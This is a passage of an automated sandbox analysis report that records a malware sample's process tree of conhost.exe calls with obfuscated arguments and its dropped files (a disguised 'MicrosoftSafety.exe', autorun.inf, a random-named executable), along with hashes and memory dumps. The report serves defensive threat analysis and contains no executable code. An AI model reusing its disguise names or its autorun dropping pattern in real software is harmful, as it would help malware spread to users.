                                                                                                                                                                                          PID:1844
                                                                                                                                                                                        • C:\Windows\system32\conhost.exe
                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe "638527122-885930911849474336-5166789385866830116274698061562926375-1949088822"
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:2656
                                                                                                                                                                                          • C:\Windows\system32\conhost.exe
                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe "-41053556131061952444024399110936884295955862219080427401726016032-755420974"
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:2668
                                                                                                                                                                                            • C:\Windows\system32\conhost.exe
                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe "1245983780-1930358056-900554782-705393799-29032946-854610976-312435292-257572911"
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:844
                                                                                                                                                                                              • C:\Windows\system32\conhost.exe
                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe "16629943571548213434-487036893-14798426483170296971557233372230781088-824767159"
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:1740

                                                                                                                                                                                                Network

                                                                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                Downloads

                                                                                                                                                                                                • C:\Program File\Microsoft\MicrosoftSafety.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  272KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  0e0141fe51adfab0f9bd375552f6a2a4

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  1087268bd2c062ecf09c91b4df50b58ced847784

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  339f91408efd7ed5ab5fe7e69986aff82ac7678a767bbda2056877d2f4556bc294c8aa279d9bc244e00da809091a408c6af9b373e76a916660fff0d65c3e606d

                                                                                                                                                                                                • C:\autorun.inf

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  87B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  a58e87ffeec377bdfe74aa489e222618

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  ce4755bf320611f95b2e6fd8128a95d22b2680da

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  fd5ee8d0b5bfe9e3d8e7088253d80602c554d62d2ee69ad9270722c251d6eff0

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  1e5cf2c04ecc7e16dd26020c73a8a47059cce08f8224632621818d62dd00f928a1829e385db4cfbda1dc438dcc1187903556dd483d5786ebe6cfad915a459c66

                                                                                                                                                                                                • F:\bdqdjh.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  97KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  b06e826ae9b4ef87f6ea38f62b39c986

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  9f3b7e8626b2f4a2229329214d5588532ab5bfd7

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  a98ad63b6b8a12ec25d666eb1df411f123fd0419623a87c5d6e2a8453f0a0265

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  e148c3590941664125a56742f73f28a9dce7181da51649685681c14bcf3e871fe9dab5ac53432b08dea0c9d2ac9d6e6ad39902be730d5e5da4bf8441d5317373

                                                                                                                                                                                                • memory/1100-20-0x0000000000210000-0x0000000000212000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  8KB

                                                                                                                                                                                                • memory/1812-73-0x00000000000F0000-0x00000000000F1000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4KB

                                                                                                                                                                                                • memory/2096-45-0x0000000000080000-0x0000000000081000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4KB

                                                                                                                                                                                                • memory/2124-79-0x0000000000030000-0x0000000000031000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4KB

                                                                                                                                                                                                • memory/2400-51-0x0000000000130000-0x0000000000131000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4KB

                                                                                                                                                                                                • memory/2408-57-0x0000000000100000-0x0000000000101000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4KB

                                                                                                                                                                                                • memory/2508-0-0x0000000000400000-0x0000000000444000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  272KB

                                                                                                                                                                                                • memory/2508-30-0x00000000023C0000-0x00000000023C2000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  8KB

                                                                                                                                                                                                • memory/2508-31-0x0000000005780000-0x0000000005781000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4KB

                                                                                                                                                                                                • memory/2508-33-0x0000000005780000-0x0000000005781000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4KB

                                                                                                                                                                                                • memory/2508-589-0x0000000000400000-0x0000000000444000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  272KB

                                                                                                                                                                                                • memory/2508-468-0x0000000002680000-0x000000000373A000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  16.7MB

                                                                                                                                                                                                • memory/2508-7-0x0000000002680000-0x000000000373A000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  16.7MB

                                                                                                                                                                                                • memory/2540-63-0x0000000000130000-0x0000000000131000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4KB

                                                                                                                                                                                                • memory/2556-39-0x00000000000F0000-0x00000000000F1000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4KB